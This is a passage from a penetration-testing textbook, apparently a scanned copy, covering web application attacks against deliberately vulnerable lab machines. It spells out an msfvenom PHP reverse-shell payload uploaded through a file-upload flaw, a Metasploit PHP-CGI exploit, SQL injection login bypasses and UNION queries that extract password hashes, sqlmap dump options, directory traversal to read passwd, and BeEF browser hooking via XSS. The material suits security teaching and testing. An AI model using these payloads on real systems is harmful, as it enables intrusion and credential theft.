The malicious script includes ActiveX, VBScript, JavaScript, or Flash.
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There are two types of XSS attacks:

Stored XSS
Reflected XSS

In the following section, we will discuss both in detail.

Stored XSS
Stored XSS is persistent on the web page. The attacker injects malicious code into the web
application on a server. The code/script is permanently stored on the page. When a
potential victim visits the compromised web page, the victim's browser will parse all the
web code. However, in the background, the malicious script is being executed on the
victim's web browser. This allows the attacker to retrieve any passwords, cookie
information, and other sensitive information that is stored on the victim's web browser.

Reflected XSS
Reflected XSS is a non-persistent attack. In this form of XSS, the attacker usually sends a
malicious link to a potential victim. If the victim clicks on the malicious link, it will open the
default web browser (reflected) on the victim's computer. The web browser will
automatically load the web page in which the malicious script will automatically execute,
capturing passwords, cookie information, and other sensitive information.

Next, we will take a deep dive into CSRF.

CSRF
A CSRF attack is a bit similar to an XSS attack. Let's use an analogy to simplify our
explanation of CSRF attacks. Imagine a user, Bob, who opens his web browser and logs in
to his banking customer portal to perform some online transactions on his account. Bob has
used his user credentials on his bank's web portal; the web application/server verifies that
the user is Bob and automatically trusts his computer as the device communicating with the
web server.
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However, Bob also opens a new tab in the same browser to visit another website while
maintaining an active session with the bank's web portal (trusted site). Bob doesn't suspect
that the new website he visits contains malicious code, which is then executed in the
background on Bob's machine:

The malicious code then injects an HTTP request into the trusted site from Bob's machine.
In this way, the attacker is able to capture Bob's user credentials and session information.
Additionally, the malicious link can cause Bob's machine to perform malicious actions on
the trusted site as well.

In the next section, we will cover the essentials of SQL injection (SQLi) attacks.

SQLi
SQLi allows an attacker to insert a series of malicious SQL code/queries directly into the
backend database server. This allows the attacker to manipulate records such as add,
remove, modify, and retrieve entries in a database:
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The attacker can leverage the vulnerability of web applications to bypass security controls
and measures to gain entry to the database server/application. SQLi attacks are injected via
the address bar on the web browser or the login portal of a website.

Next, we will discuss insecure deserialization.

Insecure deserialization
Serialization is the process of converting an object into a smaller byte size to either transmit
or store the object in a file, database, or even memory. This process allows the object to
maintain its state in order to be assembled/recreated when needed. However, the opposite
of serialization is called deserialization. This is the process of recreating an object from the
stream of data (bytes) into its original form.

Insecure deserialization happens when untrusted data is used to abuse the logic of an
application, create a denial-of-service attack, or execute malicious code on the web
application/page/server. In an insecure deserialization attack, the attacker can execute
remote code on the target web server.

Further information on insecure deserialization can be found on the
OWASP website at https:/ /www.owasp. org/index. php/Top_ 10- 2017_ A8-
Insecure_ Deserialization.

Most of the time, system administrators and IT professionals don't take these vulnerabilities
seriously until a cyberattack is at their front door. As penetration testers, it's our job to
efficiently discover all the existing and hidden security vulnerabilities in a target
organization and inform the company to help secure their assets.

In the following section, we will outline some common misconfigurations on web servers.
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Common misconfigurations
Misconfigurations on the web server can create vulnerabilities that can allow an attacker to
gain unauthorized access to default user accounts, access hidden pages and directories,
perform exploitation on any unpatched flaws, and perform read/write actions on insecure
directories and files on the server.

Security misconfigurations are not specific to any level of the web application, but can
affect any level of the web server and application, such as the operating system (Windows
or Linux), the web server platform (Apache, IIS, and Nginx), framework (Django, Angular,
Drupal, and so on), and even custom code hosted on the server.

In the following section, we will discuss various vulnerable components that are found on
web servers and platforms.

Vulnerable components
The following are some of the commonly known vulnerable components in a web
application:

Adobe Flash Player: The Adobe Flash Player was commonly used as a
multimedia player within a web browser. It supports application content such as
online videos, audio, and games. However, over the years, many security
vulnerabilities have been discovered and recorded, and users have been moving
away from using this component on their web browsers. One recent vulnerability
is CVE-2018-15982, which allows successful exploitations that lead to arbitrary
code execution on a target system.
JBoss Application Server: The JBoss Application Server is a Java web container 
that is both open source and able to operate cross-platform. At the time of
writing this book, a severe vulnerability was found that enabled an attacker to
remotely execute malicious code on a JBoss Application Server and therefore
gain full control of the target.

The vulnerability affected all JBoss Application Server versions 4.0 and
prior.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Performing Website Penetration Testing Chapter 14

[ 439 ]

Adobe ColdFusion: Adobe ColdFusion is a commercial web application
development platform. Its design was intended to allow developers to easily
connect HTML pages to a database. However, in 2018, a critical vulnerability was
discovered that allows an attacker to upload data onto a compromised system
with any restrictions, further allowing the attacker to gain control of the server
using web shells. This vulnerability was recorded as CVE-2018-15961.

Please note that these are only some of the many vulnerable components
that can be found on a web server. Over time, security researchers will
continue to discover and record new vulnerabilities.

In the following section, we will briefly discuss Insecure Direct Object Reference (IDOR).

IDOR
According to OWASP (www.owasp.org), IDOR happens when access is provided to an
object based on the input provided by the user. If a web application is found to be
vulnerable, an attacker can attempt to bypass authorization and gain access to resources on
the compromised system.

Next, we will demonstrate how to exploit file upload vulnerabilities on a target machine.

Exploiting file upload vulnerabilities
In this exercise, we are going to use our OWASP BWA virtual machine to demonstrate a file
upload vulnerability. Let's get started:

First, create a payload on your Kali Linux (attacker) machine using msfvenom,1.
which will later be uploaded to the target server. Using the following syntax,
create a PHP-based payload for establishing a reverse connection:

msfvenom -p php/meterpreter/reverse_tcp lhost=<IP address of
Kali Linux> lport=4444 -f raw
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Copy the highlighted code, open a text editor, and save the file as img.php:2.

Using your web browser within Kali Linux, enter the IP address of OWASP BWA3.
in the address bar and hit Enter.
On the main page, click on Damn Vulnerable Web Application:4.

The DVWA login portal will appear. Log in with admin/admin as5.
Username/Password:
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Once logged in, you'll see a menu on the left-hand side. Click on Upload to view6.
the Vulnerability: File Upload page:

Click on Browse..., select the img.php file, and then click Upload on the page.7.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Performing Website Penetration Testing Chapter 14

[ 442 ]

Once the file has been uploaded, you will receive a message displaying the8.
directory where the file is stored on the server:

Copy the file location, that is, hackable/uploads/img.php, and paste it into9.
the URL to execute the payload (img.php). The following is the expected URL:

192.168.56.101/DVWA/ hackable/uploads/img.php

Hit Enter to execute the payload.

On Kali Linux, load Metasploit using the following commands:10.

service postgresql start
msfconsole

Enable the multi/handler module in Metasploit, set the reverse TCP payload,11.
and execute the exploit using the following commands:

Please be sure to check the IP address of the Kali Linux machine and adjust the
LHOST parameter accordingly.
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Having executed the img.php payload on the server and enabled the12.
multi/handler on Metasploit, we are able to receive a reverse shell on our
attacker machine, as shown in the following screenshot:

Using the meterpreter shell, you are now able to perform further actions on the
compromised system.

In the following section, we will demonstrate how to exploit code execution vulnerabilities.

Exploiting code execution vulnerabilities
When a device is vulnerable to code execution, an attacker or penetration tester is allowed
to execute code remotely on the target server. Additionally, the penetration tester will be
able to retrieve the source code that's stored on the target.

To complete this exercise, we will be using the following topology:

To get started with code execution exploitation, follow these steps:

We will attempt to discover whether the target is vulnerable to CVE-2012-1823.1.
To discover whether a target is vulnerable, use the following commands with
nmap:

nmap -p80 --script http-vuln-cve2012-1823 <target IP address>

Nmap may not always return results that indicate that a vulnerability exists on a
target. However, this should not stop you from determining whether a target is
vulnerable to an exploit.
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Next, within Metasploit, use the search command to find a suitable exploit2.
module to help us take advantage of the vulnerability on the target:

Next, use the following command to use the module and set the remote target:3.

use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 10.10.10.11

Additionally, the following commands allow you to use a suitable payload for4.
establishing a remote shell upon exploitation and setting your localhost IP
address:

set payload php/meterpreter/reverse_tcp
set LHOST 10.10.10.10

Use the exploit command to launch the exploit against the target. The5.
following screenshot shows that the exploit was successful on the target:

The payload has been sent across to the victim and we have a reverse shell. Having
completed this section, you are now able to discover and perform code execution on a
target server.

In the next section, we will demonstrate how to exploit LFI vulnerabilities.
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Exploiting LFI vulnerabilities
Servers that are vulnerable to LFI security flaws allow an attacker to display the content of
files through the URL within a web browser. In an LFI attack, the penetration tester can
read the content of any file from within its directory using either ../ or /.

To get started, let's head back over to the Damn Vulnerable Web Application (DVWA)
web interface within OWASP BWA:

On the DVWA web interface, on the left-hand side menu, click on File Inclusion:1.

By repeating ../ a few times and inserting the directory of the passwd file, we2.
are able to view the content of the passwd file on the target web server:
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This type of attack tests a system for directory transversal vulnerabilities. Directory
transversal allows an attacker to access restricted locations and files, as well as execute
commands on a target web server. This attacker can manipulate the variables by simply
using the dot-dot-slash (../) syntax within the URL.

Thus far, we have completed a few exercises to exploit the various weaknesses of a target
system. In the next section, we'll take a look at preventing and mitigating security
vulnerabilities.

Preventing vulnerabilities
The following are countermeasures that can be used to prevent web server and web
application attacks and remediate such vulnerabilities:

Apply the latest (stable) patches and updates to the operating system and web
applications.
Disable any unnecessary services and protocols on web servers.
Use secure protocols, such as support data encryption, wherever possible.
If using insecure protocols, implement security controls to ensure that they are
not exploited.
Disable WebDAV if it's not being used by a web application.
Remove all unused modules and applications.
Disable all unused default accounts.
Change default passwords.
Implement security policies to prevent brute force attacks, such as lookout
policies for a failed login attempt.
Disable the serving of directory listings.
Monitor and check logs for any suspicious activity.
Implement digital certificates from trusted Certificate Authorities (CAs) and
ensure that digital certificates are always up to date.
Ensure data input validation and sanitization is implemented and tested
regularly.
Implement a Web Application Firewall (WAF).

These items are simply a summary of preventative measures that an IT professional can
adapt; however, additional research will be required since, each day, new and more
sophisticated threats and attacks are developed.
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Summary
During the course of this chapter, we have discussed the techniques that we can use to
determine web technologies on a web server and perform real-world simulation attacks on
target web applications.

You are now able to discover the underlying web technologies that are used on a target
web server and perform further enumeration to discover additional websites that are being
hosted on a single web server. Furthermore, by completing the exercises in this chapter,
you have the skills to discover any sensitive files and directories on a target server and
perform website penetration testing to exploit file uploads and LFI vulnerabilities.

I hope this chapter has been helpful and informative in your studies and career. In the next
chapter, Chapter 15, Website Penetration Testing – Gaining Access, you'll be learning about
using advanced web application penetration testing.

Questions
What are some web server platforms?1.
What tool(s) can be used to discover hidden files on a web server?2.
What HTTP status code means successful?3.
What type of attack allows an attacker to retrieve stored data from a victim's web4.
browser?
What type of attack allows a malicious user to manipulate a database?5.

Further reading
The following are a number of additional reading resources:

Vulnerable components: https:/ / resources. infosecinstitute. com/
exploring- commonly- used- yet- vulnerable- components/ 

Testing for insecure direct object references: https:/ /www. owasp. org/ index.
php/Testing_ for_ Insecure_ Direct_ Object_ References_ (OTG- AUTHZ- 004)

Web server misconfiguration: https:/ /www. owasp. org/ index. php/ Top_ 10-
2017_A6- Security_ Misconfiguration
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Website Penetration Testing -

Gaining Access
In this chapter, we will dive much further into website and database penetration testing
than we have so far. As a penetration tester, we need to simulate real-world attacks on a
target organization's systems and networks, based on the rules of engagement. However,
while being able to conduct information gathering, such as reconnaissance and scanning
websites, is excellent, the true challenge comes when it's time to break in. It's all well and
good preparing to infiltrate an enemy base, but all that preparation will come to nothing if
you simply stand at a distance and do nothing!

In this chapter, we will look at compromising and gaining access to web servers and web
applications. Additionally, you will learn some hands-on techniques and methodologies to
discover vulnerabilities and retrieve data.

In this chapter, we will cover the following topics:

Exploring the dangers of SQL injection
SQL injection vulnerabilities and exploitation
Cross-site scripting vulnerabilities
Discovering vulnerabilities automatically

Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: https:/ /www. kali. org/

Windows 7, 8, or 10
OWASP Broken Web Applications (BWA) project: https:/ /sourceforge. net/
projects/ owaspbwa/ 
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Acunetix: https:/ /www. acunetix. com/ 

bWAPP: https:/ / sourceforge. net/projects/ bwapp/ 

Exploring the dangers of SQL injection
As mentioned in the previous chapter (Chapter 14, Performing Website Penetration Testing),
SQL injection (SQLi) allows an attacker to insert a series of malicious SQL code/queries
directly into a backend database server. This vulnerability allows an attacker to manipulate
records by adding, removing, modifying, and retrieving entries in a database.

In this section, we will cover the following topics:

The dangers from SQL injection vulnerabilities
Bypassing logins using SQL injection vulnerability

Now, let's look at the dangers of SQL injections in detail.

Dangers from SQL injection vulnerabilities
A successful SQL injection attack can cause the following:

Authentication bypass: Allows a user to gain access to a system without valid
credentials or privileges
Information disclosure: Allows a user to obtain sensitive information
Compromised data integrity: Allows a user to manipulate data in a database
Compromised availability of data: Prevents legitimate users from accessing data
on a system
Remote code execution on a compromised system: Allows a malicious user to
run malicious code on a system remotely

Next, let's take a look at learning how to bypass logins using SQL injection.

Bypassing logins using SQL injection
In this exercise, we will be using the OWASP BWA virtual machine to demonstrate
bypassing authentication using SQL injection. To start, power on the OWASP BWA virtual
machine. After a few minutes, the virtual machine will provide you with its IP address.
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Head on over to your Kali Linux (attacker) machine and follow these steps:

Enter the IP address of the OWASP BWA virtual machine in the web browser of1.
Kali Linux.
Click on the OWASP Mutillidae II application, as follows:2.

Navigate to the following page: OWASP 2013 | A2 - Broken Authentication and3.
Session Management | Authentication Bypass | Via SQL Injection | Login:

Enter any one of the following characters in the Username field:4.
'

/

--

\

.

If an error occurs, examine the message produced by the server.

If no errors occur on the login page of the website, try using true or false
statements, such as 1=1 -- or 1=0 --.
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When we run this, something similar to the following error should appear. If you
look closely, you can see the query that was used between the web server
application and the database, SELECT username FROM accounts WHERE
username= ' ' ' ;, as shown here:

The following can be determined from the SQL query:

The SELECT statement is used to retrieve information from a
relational database. Therefore, the statement begins by saying:
SELECT the username column from the table.
The FROM statement is used to specify the name of the table. In the
statement, we are specifying the accounts table.
The WHERE statement is used to specify a field within the table. The
query indicates the field(s) that has (have) a value equal to ' (a
single quotation mark). The = (equals) parameter allows us to
ensure a specific match in our query.
; is used to end a SQL statement.
When combined, the statement reads as follows: Query the
username column within the accounts table, and search for any
username that is ' (single quotation mark).

The INSERT command is used to add data. UPDATE is used to update data,
DELETE or DROP is used to remove data, and MERGE is used to combine
data within the table and/or database.
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Let's attempt to combine some statements. Use the ' or 1=1 -- (there is a5.
space after --) statement in the Username field, and then click on Login:

The statement chooses the first record within the table and returns it. Upon
checking the login status, we can see that we are now logged in as admin. This
means the first record is admin:

The statement chooses the first record in the table and returns the value, which is
admin.

Let's try another user and modify our code a bit. We will attempt to log in as the6.
user john. Insert the username john for the username field and the following
SQL command for the password field:

' or (1=1 and username = 'john') --
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Ensure that there is a space after the double hyphens (--) and hit Login to
execute the commands. The following screenshot shows that we are able to
successfully log in as the user john:

Those are some techniques you can use to bypass authentication using SQL injection
attacks on a web server. In the next section, we will cover SQL injection vulnerabilities and
exploitation.

SQL injection vulnerabilities and
exploitation
In this section, we are going to explore the following vulnerabilities and exploitations using
SQL injection:

Discovering SQL injections with GET
Reading database information
Finding database tables
Extracting sensitive data such as passwords

To start discovering SQL injections with GET, use the following instructions:

Power on the OWASP BWA virtual machine. After a few minutes, the virtual1.
machine will provide you with its IP address.
Head on over to your Kali Linux (attacker) machine and enter the IP address of2.
the OWASP BWA virtual machine in the web browser of Kali Linux.
Click on the bWAPP application as shown here:3.
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Use bee for the username and bug as the password to log in to the application.4.
Then click login:

Select the SQL Injection (Search/GET) option as shown here and click Hack to5.
continue:
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A search box and table will appear. When you enter data into the search field, a6.
GET request is used to retrieve the information from the SQL database and
display it on the web page. Now, let's perform a search for all movies that
contain the string war:

Disclaimer: The information visible in the preceding screenshot was
retrieved from the locally stored database inside the Metasploitable
virtual machine; specifically, it is within the bWAPP vulnerable web
application section. Additionally, the virtual machines used are on an
isolated virtual network.

Looking closely at the URL in the web browser, we can see that
sqli_1.php?title=war&action=search was used to return/display the
results to us from the database.

If we use the 1' character within the search field, we'll get the following error7.
when using sqli_1.php?title=1'&action=search:
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This error indicates that the target is vulnerable to SQL injection attacks. The error
states that there's an issue with the syntax that we have inserted in the search
field. Furthermore, the error reveals that the database is a MySQL server. Such
revealing errors should not be made known to users in this way. Database errors
should only be accessible to the database administrator/developer or another
responsible person. This is a sign of a misconfiguration between the web
application and the database server.

Adjusting the URL to8.
http://192.168.56.101/bWAPP/sqli_1.php?title=1' order by 7-- -,
we get the following response:

The output indicates that there are at least seven tables. We were able to tell this
by using order by 7-- - in the URL. Notice that, in the next step, when we
adjust the URL to check for additional tables, we get an error.

Let's check whether there are eight tables by using the following URL:9.
http://192.168.56.101/bWAPP/sqli_1.php?title=1' order by 8-- -.
As we can see, an error message was returned:

Therefore, we can confirm that we have seven tables.
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Now, we can adjust the URL to10.
http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select

1,2,3,4,5,6,7-- -. The following screenshot shows the results. The web
application (bWAPP) returns the values 2, 3, 5, and 4 in the same row. We can,
therefore, determine that tables 2, 3, 4, and 5 are vulnerable to attack:

To check the database version, we can substitute @@version in place of a11.
vulnerable table within the following URL, getting
http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select 1,

@@version,3,4,5,6,7-- -:

We can now attempt to get the table names by using the following URL12.
http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select

1,table_name,3,4,5,6,7 from information_schema.tables-- -:
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Now, we have all the tables within the database. The following tables are created
by the developer:

We will now attempt to retrieve user credentials from the users table. Firstly,13.
we'll need to get the name of the column from the users table. There is a small
issue that you may encounter with PHP magic methods: the error does not allow
us to insert/query strings in the PHP magic method. For example, we will not be
able to retrieve information from the users table if we insert the users string
within the URL, meaning the database would not return any columns. To bypass
this error, convert the users string into ASCII. The ASCII value of users is 117
115 101 114 115.
Now, we can proceed to retrieve the columns from the users table only. We can14.
use the following URL:
http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select
1,column_name,3,4,5,6,7 from information_schema.columns where

table_name=char(117,115,101,114,115)-- -:
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Char() allows SQL injection to insert statements in MySQL without using
double quotes ("").

Using http://192.168.56.101/bWAPP/sqli_1.php?title=1' union15.
select 1,login,3,4,5,6,7 from users-- -, we can look into the email
column of the users table as described in Step 14:

To retrieve the password, adjust the URL to16.
http://192.168.56.101/bWAPP/sqli_1.php?title=1' union select

1,password,3,4,5,6,7 from users-- -:

Now, we have the hash of the password. We can use either an online or offline17.
hash identifier to determine the type of hash:
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Additionally, you can use an online hash decoder such as CrackStation (https:/18.
/crackstation. net/ ) to perform decryption:

We have successfully retrieved user credentials from the SQL server by manipulating SQL
statements within the URL of a web browser.

In the following section, we will learn how to detect SQL injections with POST on a target
server.

Discovering SQL injections with POST
In this exercise, we will attempt to discover whether SQL injection is possible with POST.
The POST method is used to send data to a web server. This method is not like the GET
method, which is used to retrieve data or a resource. We will be using the following
topology to complete this exercise:

To start detecting SQL injections with POST, use the following instructions:

Enable Burp Proxy on your Kali Linux machine and confirm that your web1.
browser proxy settings are correct. If you are unsure, please refer to Chapter 7,
Working with Vulnerability Scanners, specifically the Burp Suite section, which
contains all the details you need to configure Burp Suite on your Kali Linux
machine.
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Ensure that Intercept is enabled on Burp Suite, as shown here:2.

Open your web browser on Kali Linux and enter the OWASP BWA IP address in3.
the address bar.

Be sure to click the Forward button regularly on Burp Suite to forward the
data between the Kali Linux web browser and the OWASP BWA web
server.

Click on bWAPP as shown in the following screenshot. Log in to the bWAPP4.
portal with the credentials bee (username) and bug (password). Please note that
these are the default user credentials for the bWAPP virtual machine:
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In the top-right corner, use the drop-down menu to select SQL Injection5.
(Search/POST), and then click on Hack to load the vulnerability:

Enter a word in the search field and click on Search to submit (post) data:6.

The database will respond by stating whether a movie was found.

On Burp Suite, select the Target | Site map tab to view all the GET and POST7.
messages between your web browser on Kali Linux and the OWASP BWA web
server.
Select the most recent POST message, which should contain the search you just8.
performed:
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The following shows the content of this POST message:

Right-click anywhere within the Raw content window and select the Save item9.
option. Save the file on your desktop in Kali Linux as postdata.txt.
Once the file has been saved successfully, let's use SQLmap to discover any SQL10.
injection (SQLi) vulnerabilities in POST on the target server. Use the following
command to perform this task:

sqlmap –r /root/Desktop/postdata.txt

SQLmap will attempt to check any/all POST parameters and determine whether11.
the application is vulnerable. The following shows a number of possible
vulnerabilities:

In the preceding screenshot, SQLmap was able to notice that the 'title' parameter may
be vulnerable and that the database may also be a MySQL platform. Additionally, the
following is an example of an injectable parameter that has been found:
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The preceding screenshot shows that SQLmap has determined that the 'title' parameter
is also vulnerable to SQL injection attacks. Lastly, the following are SQLmap payloads:

Here, SQLmap provides us with a bit of a summary of what has been tested, how it was
tested, and the results. With the information that SQLmap has given us, we know exactly
where the target website is vulnerable to SQLi attacks with POST and how to leverage 
weaknesses using specific payloads.

Having completed this exercise, you are now able to use Burp Suite and SQLmap to
discover SQL injection vulnerabilities in POST messages.

In the next section, you will learn how to use the SQLmap tool to discover SQL injections.

Detecting SQL injections and extracting data
using SQLmap
SQLmap is an automatic SQL injection tool that allows a penetration tester to discover
vulnerabilities, perform exploitation attacks, manipulate records, and retrieve data from a
database.

To perform a scan using SQLmap, use the following command:

sqlmap –u "http://website_URL_here"
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Additionally, the following parameters can be used to perform various tasks:

--dbms=database_type: Performs a backend brute-force attack. An example is
--dbms=mysql.
--current-user: Retrieves the current database user.
--passwords: Enumerates password hashes.
--tables: Enumerates tables within the database.
--columns: Enumerates columns within the tables.
--dump: Dumps data table entries.

In the following section, we will discuss ways to prevent SQL injection.

Preventing SQL injection
In this section, we will briefly cover some essential techniques to minimize and prevent
SQL injection attacks on a system. We'll also look at best practices in a simple format.

The following techniques can be used to prevent SQL injection attacks:

Run the database service with minimum privileges.
Monitor all database traffic using a web application firewall (WAF) or IDS/IPS.
Sanitize data.
Filter all client data.
Suppress error messages on the user end.
Use custom error messages rather than the default messages.
Use safe APIs.
Perform regular black-box penetration on the database server.
Enforce type and length checks using parameter collections on user input; this
prevents code execution.

In the next section, we will learn about Cross-Site Scripting (XSS) vulnerabilities.

Cross-Site Scripting vulnerabilities
As mentioned in the previous chapter, XSS allows an attacker to inject client-side scripts
into web pages viewed by other users. Therefore, when an unsuspecting user visits a web
page that contains the malicious scripts, the victim's browser will automatically execute
these malicious scripts in the background.
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In this section, we will cover how to discover various XSS vulnerabilities by looking at the
following topics:

Understanding XSS
Discovering reflected XSS
Discovering stored XSS
Exploiting XSS – hooking vulnerable page visitors to BeEF

In the following section, we will learn what XSS is.

Understanding XSS
As mentioned in the previous chapter, XSS attacks are done by exploiting vulnerabilities in
a dynamically created web page. This allows an attacker to inject client-side scripts into
web pages viewed by other users. When an unsuspecting user visits a web page that
contains XSS, the user's browser will begin to execute the malicious script in the
background without the victim realizing.

In the following exercises, we'll be using both WebGoat and bWAPP on an OWASP BWA
virtual machine:

The username/password for WebGoat is guest/guest. The username/password for
bWAPP is bee/bug.

Next, we will take a look at reflected XSS.
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Discovering reflected XSS
In a reflected XSS attack, data is inserted and then reflected back onto the web page. In this
exercise, we will walk through the process of discovering a reflected XSS vulnerability on a
target server.

To complete this task, perform the following instructions:

Navigate to the bWAPP application and log in.1.
Choose Cross-Site Scripting - Reflected (GET) and click on Hack to enable this2.
vulnerability page:

Without entering any details in the form, click Go. Looking at the URL in the3.
address bar of the web browser, you can see that the URL can be edited:

To test whether the field is vulnerable to reflected XSS, we can insert custom4.
JavaScript into the First name field. Insert the following JavaScript:

<script>alert("Testing Reflected XSS")

In the Last name field, use the following command to close the script:

</script>
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The following screenshot shows what you need to do:

Click on Go to execute the script on the server. The following pop-up window5.
will appear:

This indicates that the script ran without any issues on the target server; therefore, the
server is vulnerable to XSS attacks.

In the next section, we will look at stored XSS.

Discovering stored XSS
In stored XSS, the penetration tester injects malicious code that will be stored in the target
database.

In this exercise, we will walk through the process of discovering a stored XSS vulnerability
on a target server.
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To complete this task, use the following instructions:

Navigate to the bWAPP application and log in.1.
Choose Cross-Site Scripting - Stored (Blog) and click on Hack to enable this2.
vulnerability page:

You can enter any message within the text field and click Submit. The text3.
entered will now be stored within the database, as in an online message board,
forum, or website with a comments section:

Additionally, we can see the table, the field, and the columns.

We can enter the following script within the text field and click Submit:4.

<script>alert("Testing Stored XSS")</script>
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After submitting the script, you'll receive the following pop-up window5.
verifying that it ran successfully:

Looking at the table, there is a second row without any actual entry:

This new entry reflects that our script has been inserted and stored in the database. If
anyone opens this web page, the script will automatically execute.

In the following section, we will demonstrate how to exploit XSS vulnerabilities using the
Browser Exploitation Framework (BeEF).

Exploiting XSS – hooking vulnerable page
visitors to BeEF
BeEF is a security auditing tool used by penetration testers to assess the security posture,
and discover vulnerabilities, of systems and networks. It allows you to hook a client
browser and exploit it. Hooking is the process of getting a victim to click on a web page that
contains JavaScript code. The JavaScript code is then processed by the victim's web browser
and binds the browser to the BeEF server on Kali Linux.
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For this exercise, we'll be using the following topology:

Let's start using BeEF to exploit XSS vulnerabilities:

To open BeEF, go to Applications | 08 – Exploitation Tools | beef xss1.
framework. The BeEF service will start and display the following details to
access the BeEF interface:

WEB UI and hook URLs are important. The JavaScript hook is usually embedded
into a web page that is sent to the victim. Once accessed, the JavaScript will
execute on the victim's browser and create a hook to the BeEF server. The IP
address used in the hook script is the IP address of the BeEF server. In our lab, it
is the Kali Linux (attacker) machine.
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The web browser will automatically open to the BeEF login portal. If it does not2.
open, use http://127.0.0.1:3000/ui/panel:

The username is beef and you will have set the password when initially starting
BeEF.

Start the Apache web service on Kali Linux:3.

service apache2 start

Edit the web page located in the web server directory.4.

cd /var/www/html
nano index.html
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Insert the code within the head of the HTML page as shown here:5.

The IP address belongs to the Kali Linux machine that is running the BeEF server.

On your Windows machine, open the web browser and insert the IP address of6.
the Kali Linux machine:
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Head back over to your Kali Linux machine. You now have a hooked browser.7.
Click on the hooked browser:

Click on the Commands tab. Here, you'll be able to execute actions on the victim's8.
web browser. Let's display a notification on the client's side.
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Click on the Commands tab | Social Engineering | Fake Notification Bar:9.

The column on the far right will display a description of the attack. When you're
ready, click on Execute to launch it.

Now, head on over to the Windows machine. You'll see that a fake notification10.
bar appears in the web browser:
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BeEF allows you to perform client-side attacks on the victim's browser interface.

In this section, we have covered various methods and techniques used to discover XSS
vulnerabilities on a target, and we have performed XSS exploitation using BeEF. In the next
section, we'll perform automatic web vulnerability scanning.

Discovering vulnerabilities automatically
In this section, we will take a look at using tools to help us automatically discover web
applications and server vulnerabilities. Burp Suite, Acunetix, and OWASP ZAP will be
used to perform vulnerability scanning.

Burp Suite
In Chapter 7, Working with Vulnerability Scanners, we outlined the benefits and functionality
of using Burp Suite. In this section, we will further demonstrate how to perform automated
vulnerability discovery using this tool.

We can use Burp Suite to perform automated scans on specific pages or websites. Before we
start, ensure that you have configured the following settings:

Configure the web browser on the attacker machine (Kali Linux) to work with
Burp Suite Proxy. If you are having difficulty with this task, please revisit
Chapter 7, Working with Vulnerability Scanners.
Ensure that you turn on the OWASP BWA virtual machine and capture its IP
address.

Once these configurations are in place, we can begin by taking the following steps:

Use the web browser on your Kali Linux machine to navigate to the DVWA1.
within the OWASP BWA virtual machine.
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Click on SQL Injection as shown here:2.

Open Burp Suite and ensure that Intercept is on.3.
On the DVWA web page, click the Submit button to send an HTTP request to the4.
server:
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In Burp Suite, you should be able to see the HTTP request. Right-click anywhere5.
in the context window and select Do an active scan:

This will allow Burp Suite to perform an automated scan on the target web page
to discover any web vulnerabilities.

The following is an example of the results after completing a scan using Burp
Suite:
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Selecting each issue found will provide you with a breakdown of the specific vulnerability.

In the next section, we will learn how to use Acunetix to discover web vulnerabilities.

Acunetix
Acunetix is one of the most popular and recognized web application vulnerability scanners
in the industry. It's currently one of the leading vulnerability scanners used among Fortune
500 companies. Acunetix is designed to deliver both advanced XSS and SQL injection
attacks by scanning a target website or web server.

To start using Acunetix, please observe the following steps:

Go to https:/ /www. acunetix. com/vulnerability- scanner/ download/  and 1.
register for a trial version. Acunetix is a commercial product, but we are able to
acquire a trial version for our exercise.
After completing the registration, you'll be presented with the following screen:2.

Download the Linux version as we'll be using it on our attacker machine, Kali
Linux.

After the acunetix_trial.sh file has been downloaded, use the chmod +x3.
acunetix_trial.sh command to apply executable privileges to your local user
account. To begin installation, use the ./acunetix_trial.sh command as
shown here:

On the command-line interface, read through and accept the End User License4.
Agreement (EULA).
Open your web browser in Kali Linux and enter the following address,5.
https://kali:13443/, to access the Acunetix user interface. Log in using the
user account created during the setup process:
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To begin a new scan, click on Create new Target or Add Target, as shown here:6.
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The Add Target pop-up window will open, which allows you to specify a target:7.

After adding a target, you'll be presented with options for customizing your8.
scan:
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For now, we will leave all the options with their default settings.

Specify the type of scan and reporting options:9.

Acunetix allows you to generate the following types of report for your business
needs:

Affected items
Developer
Executive
Quick
Compliance reports

CWE 2011
HIPAA
ISO 27001
NIST SP800 53
OWASP Top 10 2013
OWASP Top 10 2017
PCI SDD 3.2
Sarbanes Oxley
STIG DISA
WASC Threat Classification
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When you're ready, start the scan on the target.10.

Once the scan is complete, a summary is provided on the main Acunetix
dashboard, as shown here:

You can quickly see the duration of the scan and any high-risk vulnerabilities
found.

To see a detailed list of vulnerabilities found, click on the Vulnerabilities tab and11.
select one of the web vulnerabilities:
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To create a report, click on Generate Report. The reporting wizard will allow you to specify
the type of report that is most suitable based on the objective of the web application
penetration test. Once the report has been generated, you can download the file onto your
desktop. The following shows a PDF version of the executive report:

Acunetix is definitely a must-have tool as part of your penetration testing arsenal. It will
allow you to quickly perform black box testing on any web applications and present 
findings in an easy-to-read and understandable report.

In the next section, we will learn how to use OWASP ZAP to perform web vulnerability
assessments.
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OWASP ZAP
The OWASP Zed Attack Proxy (ZAP) project was created by OWASP as a free security tool
for discovering vulnerabilities on web servers and applications with a simple and easy-to-
use interface.

OWASP ZAP is pre-installed in Kali Linux. To start, let's perform a web vulnerability scan
on our target OWASP BWA virtual machine.

To start with using OWASP ZAP, perform the following steps:

Open OWASP ZAP and then navigate to Applications | 03 - Web Application1.
Analysis | OWASP-ZAP. On the interface, click on Automated Scan, as shown
here:
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Enter the IP address of the OWASP BWA virtual machine and click Attack to2.
begin the security scan:

During the scanning phase, OWASP ZAP will perform spidering on the target.
Spidering is a technique in which the web security scanner detects hidden
directories and attempts to access them (crawling):
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When the scan is complete, click on the Alerts tab to see all web-based3.
vulnerabilities found and the locations of each on the target:

Upon selecting a vulnerability, OWASP will display both the HTTP head and
body when they are returned from the target server:

If you look closely at the preceding screenshot, you will see that OWASP ZAP has
highlighted the affected area of the web coding.
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Once a security scan is complete, you can create and export a report. To do this,4.
click on Report | Generate HTML Report. The application will allow you to save
the report to your desktop. The following is a sample report created using
OWASP ZAP:

Additionally, OWASP ZAP allows you to generate reports in multiple formats based on
